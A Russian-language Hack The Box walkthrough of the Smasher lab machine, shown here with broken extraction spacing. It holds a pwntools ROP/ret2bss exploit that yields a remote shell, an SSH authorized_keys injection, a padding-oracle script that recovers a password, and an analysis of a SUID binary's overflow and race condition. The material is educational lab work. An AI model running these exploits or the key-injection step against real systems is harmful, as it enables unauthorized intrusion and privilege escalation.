сичес кой  тех ники  ret2libc. Это в  точ ности пов торя ет матери ал 
цик ла —  толь ко  на  сей  раз  нам  приш лось  бы  перенап равить  вывод  шел ла
в сокет  через сиш ную фун кцию  ,  а ее нуж но вызывать  триж ды для  каж‐ 
дого из стан дар тных потоков: ввод, вывод и ошиб ки.

read write
system

треть ей час ти

dup2

Фун кция  , нап ример, при нима ет три аргу мен та с раз мером выводи‐ 
мой стро ки в кон це — его бы мы заг ружали в регистр RDX. При этом гад жеты
типа   не встре чают ся, так что нам приш лось бы искать аль тер‐ 
натив ный  спо соб  ини циали зации  RDX.  Нап ример,  исполь зовать  фун кцию

, которая помеща ет в RDX раз ницу срав нива емых строк.

write

pop rdx; ret

strcmp
Это  дол го  и  скуч но,  поэто му,  к  счастью,  есть  вто рой  спо соб.  Мож но

извлечь пре иму щес тво из фла га ком пиляции   — ты ведь пом‐ 
нишь, что было в  ? Эта опция воз вра щает в наш арсе нал древ нюю
как мир ата ку Return‐to‐shellcode — в час тнос ти, Return‐to‐bss.

‐z execstack
Makefile

Идея  прос та:  с  помощью  фун кции    я  запишу  шелл‐код  в  сек цию
неини циали зиро ван ных перемен ных. А затем через клас сичес кий Stack Over‐
flow передам ему управле ние —   не попада ет под дей ствие ASLR и име‐ 
ет  бит  исполне ния.  В  пос леднем  мож но  убе дить ся  с  помощью  ком бинации

 и  .

read

.bss

vmmap readelf

Де монс тра ция воз можнос ти исполне ния дан ных в сек ции .bss

INFO

О  клас сифика ции  тех ник  обхо да  ASLR  мож но
про честь в пуб ликации ASLR Smack & Laugh Ref‐
erence,  .PDF

Для вто рого вари анта ата ки пей лоад при мет сле дующий вид.

ПЕЙЛОАД = 
   (1) МУСОР_568_байт +
   (2) СМЕЩЕНИЕ_ДО_ГАДЖЕТА_pop_rdi +
   (3) ЗНАЧЕНИЕ_ДЕСКРИПТОРА_socket_fd +
   (4) СМЕЩЕНИЕ_ДО_ГАДЖЕТА_pop_rsi +
   (5) СМЕЩЕНИЕ_ДО_СЕКЦИИ_bss +
   (6) СМЕЩЕНИЕ_ДО_read@plt
   (7) СМЕЩЕНИЕ_ДО_СЕКЦИИ_bss <== прыжок на шелл‐код

Пун кты 1–5 зада ют два аргу мен та для фун кции   — они ложат ся в регис‐ 
тры RDI и RSI соот ветс твен но. Обра ти вни мание: мы не зада ем явно количес‐ 
тво бай тов для чте ния  (тре тий аргу мент — регистр RDX), потому что работа
с  RDX  —  это  боль  при  пос тро ении  роп чей нов.  Вмес то  это го  полага емся
на уда чу: во вре мя выпол нения RDX обыч но хра нит дос таточ но боль шие зна‐ 
чения, что бы нам хва тило на запись шелл‐кода.

read

В пун кте 6 вызыва ем саму фун кцию   (через обра щение к таб лице PLT),
которая  запишет  шелл‐код  в  сек цию  .  Финаль ный  штрих  (7‐й  пункт)
передаст управле ние шелл‐коду — пос ле того как будет дос тигну та инс трук‐ 
ция   в фун кции  .

read
.bss

ret read@plt
Не обхо димые  звенья ROP‐цепоч ки мож но най ти  вруч ную  (как мы 

это  в  прош лой  час ти),  а  мож но  воз ложить  все  заботы  на  пле чи  pwntools —
тог да конеч ный спло ит получит ся весь ма мини атюр ным.

де лали

#!/usr/bin/env python3
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python3 tiny‐exploit.py [DEBUG]

from pwn import *
from urllib.parse import quote as url_encode

context.arch      = 'amd64'
context.os        = 'linux'
context.endian    = 'little'
context.word_size = 64

elf = ELF('./tiny', checksec=False)
bss = elf.bss()  # elf.get_section_by_name('.bss')['sh_addr'] (
address of section header .bss)

rop = ROP(elf)
rop.read(4, bss)
rop.raw(bss)
log.info(f'ROP:\n{rop.dump()}')

r = remote('10.10.10.89', 1111)

raw_input('[?] Send payload?')
r.sendline(f'GET /{url_encode(b"A"*568 + bytes(rop))}')
r.sendline()
r.recvuntil('File not found')

raw_input('[?] Send shellcode?')
r.sendline(asm(shellcraft.dupsh(4)))  # asm(shellcraft.amd64.linux.
dupsh(4), arch='amd64'), 70 bytes

r.interactive()

Прой дем ся по самым инте рес ным момен там.

bss = elf.bss()
rop = ROP(elf)
rop.read(4, bss)
rop.raw(bss)

Эти четыре стро ки соз дают цепоч ку ROP: поиск сек ции   и вызов фун кции
 с нуж ными аргу мен тами.

.bss
read

r.sendline(asm(shellcraft.dupsh(4)))

Здесь мож но поис тине  уди вить ся, на  что спо собен pwntools:  за одну стро ку
на лету он нагене рил ассем блер ный шелл‐код со сле дующим содер жимым.

Ге нера ция шелл‐кода с помощью shellcraft.dupsh

В нашем слу чае  это  код для  Linux  x64 — вер сия и раз рядность ОС берут ся
из ини циали зации кон тек ста.

Ме тод    генерит  код,  который  спав нит  шелл  и  перенап равля ет  все
стан дар тные потоки в сетевой сокет. Нам нужен сокет со зна чени ем дес крип‐ 
тора  : такой номер прис ваивал ся новому откры тому соеди нению с кли ентом
(перемен ная  ,  ) при локаль ном ана лизе исполня емо го фай‐ 
ла.  Это  логич но,  ведь  зна чения    уже  заняты  ( ,    и    —  стан дар тные
потоки,   — дес крип тор родите ля), поэто му про цесс фор ка получа ет пер вый
незаня тый ID — чет верка.

dupsh

4
connfd стро ка 433

0–3 0 1 2
3

По луче ние шел ла от име ни юзе ра www

От лично, мы получи ли сес сию поль зовате ля  . Инте рес ный момент: ROP‐
гад жета    в  «чис том  виде»  в  бинаре  не  ока залось,  поэто му
умный  pwntools  исполь зовал  цепоч ку    и  запол нил
регистр R15 «мусор ным» зна чени ем  .

www
pop  rsi;  ret

pop  rsi;  pop  r15;  ret
iaaajaaa

WWW

Экс пло ит, для которо го роп чейн про писан в хар‐ 
дко де, мож но   в репози тории.най ти

ОТ ГРУБОГО ШЕЛЛА ДО SSH — ПОРТ 22
Что бы не мучить ся с непово рот ливым шел лом инте рак тивной обо лоч ки pwn‐
tools, получим дос туп к машине по SSH — с помощью инжекта сво его откры‐ 
того  клю ча. Но  спер ва  убе дим ся,  что  аутен тифика ция по  клю чу  для дан ного
поль зовате ля раз решена.

 

 

root@kali:~# ssh ‐vvv www@10.10.10.89 2>&1 | grep 'Authentications that 
can continue:' 
www@10.10.10.89's password: debug1: Authentications that can continue: 
publickey,password

Сле дом сге нери руем пару клю чей с помощью OpenSSL и дроп нем откры тый
ключ в файл  ./home/www/.ssh/authorized_keys

 

 

root@kali:~# ssh‐keygen ‐f user_www 
root@kali:~# cat user_www.pub 

 
root@kali:~# ./tiny‐exploit.py 

 
 

<СОДЕРЖИМОЕ_ОТКРЫТОГО_КЛЮЧА>

$ cd /home/www
$ mkdir .ssh
$ echo '<СОДЕРЖИМОЕ_ОТКРЫТОГО_КЛЮЧА>' > .ssh/authorized_keys

Те перь мы можем авто ризо вать ся на вир туал ке по про токо лу Secure Shell.

 

 

root@kali:~# chmod 600 user_www 
root@kali:~# ssh ‐i user_www www@10.10.10.89 
www@smasher:~$ whoami 
www

Ин жект public‐клю ча и зах ват SSH

Продолжение статьи →
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В КОРОЛЕВСТВЕ PWN
АТАКА RET2BSS, КРИПТООРАКУЛЫ И РЕВЕРС‐

ИНЖИНИРИНГ НА ВИРТУАЛКЕ SMASHER
С HACK THE BOX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ИССЛЕДОВАНИЕ ОКРУЖЕНИЯ
Ока зав шись  внут ри  Smasher,  я  под нял  на  локаль ной  машине  прос той
питонов ский  сер вер  и  раз дал  жер тве  отличный  раз ведоч ный  скрипт

.  Под робнее  о  переда че  скрип тов  на  уда лен ный  сер вер  мож но
 в про хож дении October.

LinEnum.sh
про честь

Заг рузка и исполь зование LinEnum.sh (крас ным — порядок работы
с панеля ми)

Как это час то быва ет на вир туал ках с Hack The Box, век торы для повыше ния
при виле гий я обна ружил в спис ке запущен ных про цес сов и лис тинге фай лов
с уста нов ленным битом SUID.

 

 

root@kali:~# ps auxww | grep crackme 
smasher    721  0.0  0.1  24364  1840 ?        S    13:14   0:00 socat 
TCP‐LISTEN:1337,reuseaddr,fork,bind=127.0.0.1 EXEC:/usr/bin/python /
home/smasher/crackme.py

Лис тинг фай лов с SUID‐битом

Оба  этих  стран ных  фай ла  (   и  )  мы  исполь зуем
для повыше ния до обыч ного поль зовате ля и рута соот ветс твен но.

crackme.py checker

Но обо всем по поряд ку.

PRIVESC: WWW → SMASHER
Итак,  к  локаль ному  интерфей су  на  порт  1337  под вешен  загадоч ный  скрипт
на питоне. Убе дить ся в этом мож но с помощью netstat.

 

 

root@kali:~# netstat ‐nlp | grep 1337 
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LIS‐
TEN      ‐

Прос мотреть содер жимое у нас не хва тает прав.

 

 

root@kali:~# cat /home/smasher/crackme.py 
cat: /home/smasher/crackme.py: Permission denied

Пос мотрим, что там про исхо дит, пос тучав шись по адре су  .localhost:1337

 

 

www@smasher:~$ nc localhost 1337 
 

 

[*] Welcome to AES Checker! (type 'exit' to quit)
[!] Crack this one: 
irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6‐
togqLYITGGpPsXdg==
Insert ciphertext:

На пер вый взгляд это про верял ка кор рек тнос ти шиф ртекста AES.

Руч ной фаз зинг crackme.py

Ес ли поиг рать с раз ными вари ациями вход ных дан ных, мож но получить ошиб‐ 
ку  типа  Invalid  Padding —  она  проз рачно  намека ет  на  воз можность  исполь‐ 
зовать Padding Oracle для под бора исходно го тек ста.

Крип тоора кулы, или ата ка Padding Oracle
  —  тип  ата ки  на  реали зацию  алго рит ма  шиф рования,

который исполь зует «добива ние» бло ков откры того тек ста (далее ОТ) до нуж‐ 
ной дли ны. Идея в сле дующем: если кон крет ная реали зация крип тогра фичес‐ 
кого алго рит ма плю ется   сооб щени ями об ошиб ках в слу чаях, ког да
опе рация рас шифро вания  прош ла    и  ког да  в ОТ
был  получен  ,  сооб щение  (или  его  часть)
мож но вскрыть без сек ретно го клю ча.

Padding  Oracle  Attack

раз ными

пол ностью некор рек тно

толь ко  некор рек тный padding

Зву чит уди витель но, не прав да ли? Утеч ка все го лишь одной детали о ста‐ 
тусе опе рации рас шифро вания ста вит под угро зу надеж ность всей сис темы.
Недаром  крип тоана лити ки  любят  пов торять:  .
Пос мотрим, почему же так про исхо дит.

You Don’t  Roll  Your Own Crypto

 — такой при ем в крип тогра фии, при котором пос ледний блок
ОТ  запол няет ся  нез начащи ми  дан ными  до  кон крет ной  дли ны  (зависит
от  алго рит ма  шиф рования).  Эта  про цеду ра  приз вана  про качать  стой кость
крип тоал горит ма  к  ана лизу.  Добива ние  —  стан дар тная  прак тика  для  всех
популяр ных пакетов крип тогра фичес кого ПО, поэто му раз личные его реали‐ 
зации так же стро го стан дарти зиро ваны.

До бива ние

Для алго рит ма шиф рования AES   пра вило добива ния опи‐ 
сано в стан дарте   ( ). Он гла сит, что пос ледний блок ОТ нуж‐ 
но добить до 16 байт (AES опе риру ет 128‐бит ными бло ками), а зна чения бай‐ 
тов,  из  которых  сос тоит  добива ние,  опре деля ется  общей  дли ной  ,
нап ример:

в режиме CBC
PKCS#7 RFC 2315

padding

ес ли  в  пос леднем  бло ке  ОТ  не  хва тает  пяти  байт  до  16,  его  допол няют
пятью бай тами  ;

•
0x05

ес ли в пос леднем бло ке ОТ не хва тает одно го бай та до 16, его допол няют
одним бай том  ;

•
0x01

ес ли  дли на  пос ледне го  бло ка  ОТ  рав на  16,  его  допол няют  16  бай тами
 (то есть целым «искусс твен ным» бло ком).

•
0x10

Ког да  исполь зует ся AES‐CBC,  зна ние о  кор рек тнос ти  дешиф ровки 
поз воля ет вос ста новить изна чаль ное сооб щение без клю ча — через манипу‐ 
ляции с про межу точ ным сос тоянием шиф ртекста (далее ШТ).

padding

Де шиф ровка в режиме CBC (источник — ru.wikipedia.org)

Этот извес тный рисунок из Википе дии проль ет свет на ситу ацию: пусть наш
ШТ  сос тоит  все го  из  двух  бло ков  ( ,  ).  Тог да,  что бы  дешиф ровать 
и получить соот ветс тву ющий блок ОТ  , наруши телю необ ходимо изме нить
один  пос ледний  байт  бло ка    (назовем  его  )  и  отпра вить  оба  бло ка
на  рас шифров ку  ора кулу.  Вот  мы  и  доб рались  до  опре деле ния:   —
это  все го  лишь  абс трак ция,  которая  воз вра щает  однослож ный  ответ  «ДА/
НЕТ»  на  воп рос  о  пра виль нос ти  добива ния.  Изме нение  одно го  бай та  в 
изме нит  ров но  один  байт  в  ,  так  что  ана литик  может  переб рать  все  воз‐ 
можные  зна чения    (все го  255),  что бы  получить  истинное  зна чение  пос‐ 
ледне го бай та  .

C1 C2 C2
P2

C1 C1'
ора кул

C1
P2

C1'
P2

Это воз можно из‐за обра тимос ти опе рации XOR ( ). Рас шифро вание бло‐ 
ка   мож но опи сать фор мулой  , где   — фун кция
рас шифро вания  i‐го  бло ка    клю чом  .  Если  добива ние  кор рек тно,  пос‐ 
ледний  байт  бло ка    и,  сле дова тель но, 

  Таким  обра зом  мы  узна ли  про межу точ ное
сос тояние    (про межу точ ное —  потому  что  оно  сущес тву ет  «перед»
финаль ным XOR с пре дыду щим бло ком ШТ).

^
P2 P2 = D(C2,K) ^ C1 D(Ci,K)

Ci K
D(C2,K)  ^  C1'  =  0x01

.P2 = D(C2,K) = C1' ^ 0x01
D(C2,K)

Что бы  теперь най ти пред послед ний байт ОТ,  нуж но  уста новить  зна чение
пос ледне го  бай та    рав ным    и  пов торить  всю  про цеду ру
для пред послед него бай та  (он прев ратит ся в    и  так далее).  Таким спо‐ 
собом  мы  можем  пол ностью  вос ста новить  один  блок  ШТ  за 

 попыток при худ шем рас кла де. Алго ритм мож но пов торять для каж дого
пос леду юще го бло ка, кро ме пер вого — ведь для него нет пред шес тву юще го
кус ка  (век тор ини циали зации неиз вестен), из  которо го мы вос ста нав лива ем
про межу точ ное  сос тояние.  Не  так  уж  и  мно го,  вер но?  По  край ней  мере,
по срав нению со слож ностью   пол ного перебо ра клю ча…

C1' D(C2,K)  ^  0x2
C1''

255  ×  16  = 
4080

2^128

INFO

Еще  один  извес тный  при мер  успешной  реали‐ 
зации  Padding  Oracle  —  ата ка  на  осно ве  подоб‐ 
ранно го шиф ртекста ( ), раз работан ная швей‐ 
цар ским  крип тогра фом  Дани элем  Блай хен‐ 
бахером, на алго ритм RSA с добива нием PKCS#1
v1.5. Ее так же называ ют «ата кой мил лиона сооб‐ 
щений».

CCA

  про  механизм  ата ки  и 
 на Python для прак тики.

Ин терес ное  чти во биб‐ 
лиоте ка

Раз работ ка экс пло ита
В нашем слу чае ора кулом слу жит сам скрипт   — он доб роволь но
«рас ска зыва ет», было ли добива ние шиф ртекста кор рек тным. Я буду исполь‐ 
зовать готовую либу  , которая пре дос тавля ет интерфейс
для быс трой раз работ ки «ломал ки» под свою ситу ацию.

crackme.py

python‐paddingoracle

Но  спер ва  я  проб рошу  SSH‐тун нель  до  сво ей  машины,  пос коль ку
 дос тупен толь ко на Smasher (вид но из опции socat 

).
crackme.py bind=127.0.
0.1

Проб рос тун неля из SSH‐кли ента

Я  исполь зую  горячие  кла виши    SSH‐кли ента,  что бы  открыть
коман дную стро ку и проб росить тун нель без перепод клю чения. В этом 
автор при водит инте рес ную ана логию: такие горячие кла виши он срав нива ет
с чит‐кодами для виде оигр Konami.

Enter  +  ~C
пос те

Те перь я могу задавать «воп росы» ора кулу с Kali, обра щаясь к адре су 
.

lo‐
calhost:1337

Сам  экс пло ит  три виален:  за  осно ву  я  взял    с  глав ной  стра ницы
модуля  —  а  для  под дер жки  «обще ния»  меж ду  сокетом,  где  сидит  ора кул,
и сво им скрип том исполь зовал pwntools.

при мер

#!/usr/bin/env python
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python crackme‐exploit.py

import os

from pwn import *
from paddingoracle import BadPaddingException, PaddingOracle
from Crypto.Cipher import AES

BLOCK_SIZE = AES.block_size

class PadBuster(PaddingOracle):
   def __init__(self, **kwargs):
       self.r = remote('localhost', 1337)
       log.info('Progress:\n\n\n\n')
       super(PadBuster, self).__init__(**kwargs)

   def oracle(self, data, **kwargs):
       os.write(1, '\x1b[3F')  # Escape‐последовательность для 
очистки трех последних строк вывода
       print(hexdump(data))
       self.r.recvuntil('Insert ciphertext:')
       self.r.sendline(b64e(data))
       recieved = self.r.recvline()

       if 'Invalid Padding!' in recieved:
           # An HTTP 500 error was returned, likely due to incorr
ect padding
           raise BadPaddingException

if __name__ == '__main__':
   ciphertext = b64d('irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0O
XPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==')
   log.info('Ciphertext length: %s byte(s), %s block(s)' % (len(
ciphertext), len(ciphertext) // BLOCK_SIZE))

   padbuster = PadBuster()
   plaintext = padbuster.decrypt(ciphertext, block_size=BLOCK_SIZE, 
iv='\x00'*16)

   log.success('Cracked: %s' % plaintext)

Что бы  пос тро ить  свою  «ломал ку»,  необ ходимо  все го  лишь  пере опре делить
метод    в  клас се  ,  реали зовав  таким  обра зом  вза имо дей‐ 
ствие с ора кулом.

oracle PadBuster

Про цесс вос ста нов ления откры того тек ста

Ме тод   сос редото чен на двух бло ках: вос ста нав лива емом ( ) и под‐ 
бира емом  ( ).  Вто рой  блок  шиф ртекста  (вос ста нав лива емый)  оста ется
неиз менным, в то вре мя как пер вый блок  (под бира емый) изна чаль но запол‐ 
нен нулями. На стар те ата ки пос ледний байт пер вого бло ка, начиная со зна‐ 
чения  , умень шает ся до тех пор, пока не будет обра бота но исклю чение

.  Пос ле  это го  фокус  сме щает ся  на  пред послед ний
байт, и все пов торя ется заново — и так далее для всех пос леду ющих бло ков.

decrypt P2
C1'

0xff
BadPaddingException

От кры тый текст вос ста нов лен

Че рез десять минут у нас есть содер жимое всех четырех бло ков сек ретно го
сооб щения  (в  пос леднем  бло ке,  к  сло ву,  ему  до  пол ной  дли ны  не  хва‐ 
тало  6  байт)  с  паролем  поль зовате ля  smasher.  Теперь  мы  можем  повысить
при виле гии и заб рать user‐флаг.

От мечу, что нам уда лось дешиф ровать даже пер вый блок ШТ, так как мы
уга дали  век тор  ини циали зации.  Он,  как  будет  вид но  по  содер жимому

, пол ностью сос тоял из нулей.crackme.py

 

 

www@smasher:~$ su ‐ smasher 
 

smasher@smasher:~$ whoami 
 

smasher@smasher:~$ cat user.txt 

Password: PaddingOracleMaster123

smasher

baabc5e4????????????????????????

Со дер жимое crackme.py
Те перь  мы  можем  читать  скрипт  .  Взгля нем  на  содер жимое
в учеб ных целях.

crackme.py

from Crypto.Cipher import AES
import base64
import sys
import os

unbuffered = os.fdopen(sys.stdout.fileno(), 'w', 0)

def w(text):
   unbuffered.write(text+"\n")

class InvalidPadding(Exception):
   pass

def validate_padding(padded_text):
   return all([n == padded_text[‐1] for n in padded_text[‐ord(padded
_text[‐1]):]])

def pkcs7_pad(text, BLOCK_SIZE=16):
   length = BLOCK_SIZE ‐ (len(text) % BLOCK_SIZE)
   text += chr(length) * length
   return text

def pkcs7_depad(text):
   if not validate_padding(text):
       raise InvalidPadding()
   return text[:‐ord(text[‐1])]

def encrypt(plaintext, key):
   cipher = AES.new(key, AES.MODE_CBC, "\x00"*16)
   padded_text = pkcs7_pad(plaintext)
   ciphertext = cipher.encrypt(padded_text)
   return base64.b64encode(ciphertext)

def decrypt(ciphertext, key):
   cipher = AES.new(key, AES.MODE_CBC, "\x00"*16)
   padded_text = cipher.decrypt(base64.b64decode(ciphertext))
   plaintext = pkcs7_depad(padded_text)
   return plaintext

w("[*] Welcome to AES Checker! (type 'exit' to quit)")
w("[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0O
XPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==")
while True:
   unbuffered.write("Insert ciphertext: ")
   try:
       aes_hash = raw_input()
   except:
       break
   if aes_hash == "exit":
       break
   try:
       decrypt(aes_hash, "Th1sCh4llang31SInsane!!!")
       w("Hash is OK!")
   except InvalidPadding:
       w("Invalid Padding!")
   except:
       w("Generic error, ignore me!")

Те перь,  получив  сек ретный  ключ  ,  я  могу  удос‐ 
товерить ся, что сооб щение дешиф ровано вер но.

Th1sCh4llang31SInsane!!!

 

 

 
 

 

 

 

>>> import base64
>>> from Crypto.Cipher import AES
>>> key = 'Th1sCh4llang31SInsane!!!'
>>> ciphertext = 
'irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6‐
togqLYITGGpPsXdg=='
>>> AES.new(key, AES.MODE_CBC, "\x00"*16).decrypt(base64.b64decode(ci‐
phertext))
"SSH password for user 'smasher' is: PaddingOracleMaster123\x06\x06\x06\
x06\x06\x06"

PRIVESC: SMASHER → ROOT
Окей,  нас тало  вре мя  апнуть ся  до  рута.  В  этом  нам  поможет  тот  самый
загадоч ный бинарь  . Пос мотрим, что он уме ет./usr/bin/checker

Спер ва я запущу   от име ни поль зовате ля www.checker

 

 

www@smasher:~$ checker 
You're not 'smasher' user please level up bro!

За пус кать ся он хочет толь ко от име ни smasher. Хорошо, пусть будет так.

 

 

www@smasher:~$ su ‐ smasher 
 

smasher@smasher:~$ checker 
 

  

Password: PaddingOracleMaster123

[+] Welcome to file UID checker 0.1 by dzonerzy

Missing arguments

Те перь не хва тает аргу мен та.

 

 

smasher@smasher:~$ checker snovvcrash 
 

  
[+] Welcome to file UID checker 0.1 by dzonerzy

File does not exist!

Еще более кон крет но —   ждет на вход файл.checker

 

 

smasher@smasher:~$ echo 'TESTING...' > test.txt 
smasher@smasher:~$ checker test.txt 

 
  

 
  

 

[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 1001

Data:
TESTING...

Все начина ет обре тать смысл… Пос ле некото рого зависа ния (око ло секун ды)
 зак лючил: UID вла дель ца фай ла — 1001. Оче вид но, что под 1001‐м

номером в сис теме чис лится сам поль зователь smasher.
checker

 

 

smasher@smasher:~$ ls ‐la test.txt 
 

smasher@smasher:~$ id 
‐rw‐rw‐r‐‐ 1 smasher smasher 11 Nov  9 21:07 test.txt

uid=1001(smasher) gid=1001(smasher) groups=1001(smasher)

Еще кое‐что инте рес ное.

 

 

smasher@smasher:~$ checker /usr/bin/checker 
 

  
 

  
 

[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 0

Data:
ELF

Ес ли  поп росить  исполня емый  файл  про верить  самого  себя,  то  в  ответ  мы
получим,  что  UID  равен  0.  Логич но:  у  нас  есть  дос туп  к  фай лу,  но  его  вла‐ 
делец — root.

 

 

smasher@smasher:~$ checker /etc/shadow 
 

  
[+] Welcome to file UID checker 0.1 by dzonerzy

Access failed , you don't have permission!

По пыт ка открыть файл, к которо му у нас нет дос тупа, при ведет к сооб щению
Access failed, you don’t have permission!

 

 

smasher@smasher:~$ checker /etc/passwd 
 

  
[+] Welcome to file UID checker 0.1 by dzonerzy

Segmentation fault

На конец, если передать файл боль шего раз мера, то   упа дет с ошиб‐ 
кой сег мента ции.

checker

Что ж, самое вре мя для неболь шой задачи на реверс.

Продолжение статьи →
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В КОРОЛЕВСТВЕ PWN
АТАКА RET2BSS, КРИПТООРАКУЛЫ И РЕВЕРС‐

ИНЖИНИРИНГ НА ВИРТУАЛКЕ SMASHER
С HACK THE BOX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ана лиз checker
Пе реб росим бинарь на Kali с помощью   для даль нейше го ана лиза.nc

От прав ка checker на локаль ную машину

Иг раем в реверс‑инже неров
В прош лой статье мы   Ghidra в качес тве аль тер нативы  IDA Pro,
да  и  отдель ная  ,  пос вящен ная  срав нению  этих  инс тру мен тов,
на «Хакере» выходи ла. Основная фиш ка «Гид ры» в том, что она пре дос тавля‐ 
ет  опен сор сный  (в  отли чие  от  вся ких  IDA  и  Hopper)  пла гин‐деком пилятор
для  генера ции  псев докода —  а  это  очень  облегча ет  реверс.  Сегод ня  рас‐ 
смот рим еще один спо соб исполь зовать этот пла гин.

ис поль зовали
статья

В  пос леднем    Cutter  —  гра фичес кая  обо лоч ка  леген дарно го
Radare2  —  обза вел ся  гид ров ским  модулем  для  деком пиляции  пря мо  «из
короб ки»  (рань ше его нуж но было ста вить  ). Если тебе по какой‐то
при чине  не  нра вит ся  Ghidra  в  целом,  но  при  этом  ты  хочешь  смот реть  код
на C, то Cutter — твой выбор.

ре лизе

от дель но

В глав ном окне прог раммы появи лась вклад ка Decompiler — она как раз
отве чает за вывод информа ции от пла гина  .r2ghidra‐dec

Пла гин r2ghidra‐dec в Cutter

Ну и конеч но, здесь есть при выч ное гра фовое пред став ление.

Гра фовое пред став ление checker в Cutter

Вот  что  у  меня  получи лось  пос ле  неболь ших  кос метичес ких  пра вок  псев‐ 
докода фун кции  .main

// checker‐main.c

int main(int argc, char **argv) {
   if (getuid() == 0x3e9) {
       puts("[+] Welcome to file UID checker 0.1 by dzonerzy\n");

       if (argc < 2) {
           puts("Missing arguments");
       }

       else {
           filename = argv[1];
           buf_stat = malloc(0x90);

           if (stat(filename, buf_stat) == 0) {
               if (access(filename, 4) == 0) {
                   char file_contents[520];

                   setuid(0);
                   setgid(0);
                   sleep(1);
                   strcpy(file_contents, ReadFile(arg1));
                   printf("File UID: %d\n", (uint64_t)*(uint32_t *)(
(int64_t)buf_stat + 0x1c));
                   printf("\nData:\n%s", (int64_t)&file_contents + 4
);
               } else {
                   puts("Acess failed , you don\'t have permission!"
);
               }
           } else {
               puts("File does not exist!");
           }
       }
       rax = 0;
   } else {
       sym.imp.puts("You\'re not \'smasher\' user please level up 
bro!");
       rax = 0xffffffff;
   }
   return rax;
}

От сюда  мож но  получить  поч ти  пол ное  пред став ление  о  том,  как  работа ет
:checker

1. Про вер ка нас тояще го user ID (фун кция  ). Если он равен   (или
  в  шес тнад цатерич ном  виде),  то  выпол нение  про дол жает ся,  ина‐ 

че  —  вывод  сооб щения  о  необ ходимос ти  левел‐апа  и  завер шение
работы.

getuid 1001

0x3e9

2. Про вер ка количес тва передан ных аргу мен тов. Если их боль ше одно го, то
выпол нение  про дол жает ся,  ина че —  вывод  сооб щения  о  нех ватке  аргу‐ 
мен тов и завер шение работы.

3. Про вер ка  сущес тво вания фай ла,  передан ного  в  пер вом аргу мен те.  Если
он сущес тву ет,  то выпол нение про дол жает ся, ина че — вывод сооб щения
об отсутс твии такого фай ла и завер шение работы.

4. Про вер ка  дос тупа  к  чте нию  фай ла  у  вла дель ца  про цес са.  Если  поль‐ 
зователь, запус тивший  , может читать файл, то выпол нение про‐ 
дол жает ся,  ина че  —  вывод  сооб щения  о  нех ватке  при виле гий  и  завер‐ 
шение работы.

checker

Ког да все про вер ки прой дены:
в сте ке соз дает ся буфер   раз мером 520 байт;• file_contents

вы зыва ются фун кции   и   (они обес печива ют чте ние фай ла,
к которо му у нас есть изна чаль ный дос туп, от име ни root);

• setuid setgid

в  буфер    с  помощью    фун кции 
копиру ется резуль тат работы сто рон ней фун кции  ;

• file_contents не безо пас ной strcpy

ReadFile

уход в сон на одну секун ду (та самая задер жка, которую я спер ва при нял
за «зависа ние» прог раммы);

•

вы вод сооб щений, содер жащих UID вла дель ца фай ла и внут реннос ти того
самого фай ла.

•

Ка кие выводы мож но сде лать из про веден ного ана лиза?
Во‐пер вых, в этом фай ле тоже есть уяз вимость перепол нения сте ка, ведь

в коде исполь зует ся   — а она копиру ет содер жимое фай ла в ста тичес‐ 
кий  буфер  на  стек.  Вот,  кста ти,  как  выг лядит  сама  фун кция  чте ния  содер‐ 
жимого фай ла  .

strcpy

ReadFile

// checker‐ReadFile.c

int64_t sym.ReadFile(char *arg1)
{
   int32_t iVar1;
   int32_t iVar2;
   int64_t iVar3;
   int64_t ptr;

   ptr = 0;
   iVar3 = sym.imp.fopen(arg1, 0x400c68);
   if (iVar3 != 0) {
       sym.imp.fseek(iVar3, 0, 2);
       iVar1 = sym.imp.ftell(iVar3);
       sym.imp.rewind(iVar3);
       ptr = sym.imp.malloc((int64_t)(iVar1 + 1));
       iVar2 = sym.imp.fread(ptr, 1, (int64_t)iVar1, iVar3);
       *(undefined *)(ptr + iVar1) = 0;
       if (iVar1 != iVar2) {
           sym.imp.free(ptr);
           ptr = 0;
       }
       sym.imp.fclose(iVar3);
   }
   return ptr;
}

Здесь  все  сов сем  прос то:  откры вает ся  файл,  выделя ется  нуж ный  объ ем
памяти, что бы содер жимое вмес тилось целиком, далее чте ние дан ных и воз‐ 
вра щение ука зате ля на область, куда было заг ружено содер жимое фай ла.

Во‐вто рых,  у  нас  есть  воз можность  про вес ти  ата ку  по  вре мени.  Меж ду
про вер кой дос тупа к ука зан ному фай лу  ( )
и самим чте нием содер жимого есть окно в одну секун ду. Это зна чит, что мы
можем успеть под менить файл любым дру гим (даже тем, к которо му у нас нет
дос тупа) — и он все рав но будет про читан, ведь к это му момен ту   уже
получил SUID‐бит ( ).

if (access(filename, 4) == 0)

checker
setuid(0); setgid(0)

Ре али зуем эту ата ку для чте ния root‐фла га, но сна чала узна ем, получит ся
ли сор вать стек при выпол нении  .strcpy

strace
От кро вен но говоря, такой ана лиз мож но про вес ти, имея дос туп все го к одной
ути лите —  . Это стан дар тный инс тру мент для отсле жива ния сис темных
вызовов  про цес са  в  Linux.  Я  при веду  его  вывод,  оста вив  толь ко  зна чимую
для нас информа цию.

strace

root@kali:~# strace ./checker checker 
execve("./checker", ["./checker", "checker"], 0x7fff857edf88 /* 47 
vars */) = 0
...
getuid()                                = 0
...
write(1, "[+] Welcome to file UID checker "..., 48[+] Welcome to 
file UID checker 0.1 by dzonerzy
...
stat("checker", {st_mode=S_IFREG|0750, st_size=13617, ...}) = 0
access("checker", R_OK)                 = 0
setuid(0)                               = 0
setgid(0)                               = 0
nanosleep({tv_sec=1, tv_nsec=0}, 0x7fff72ad99c0) = 0
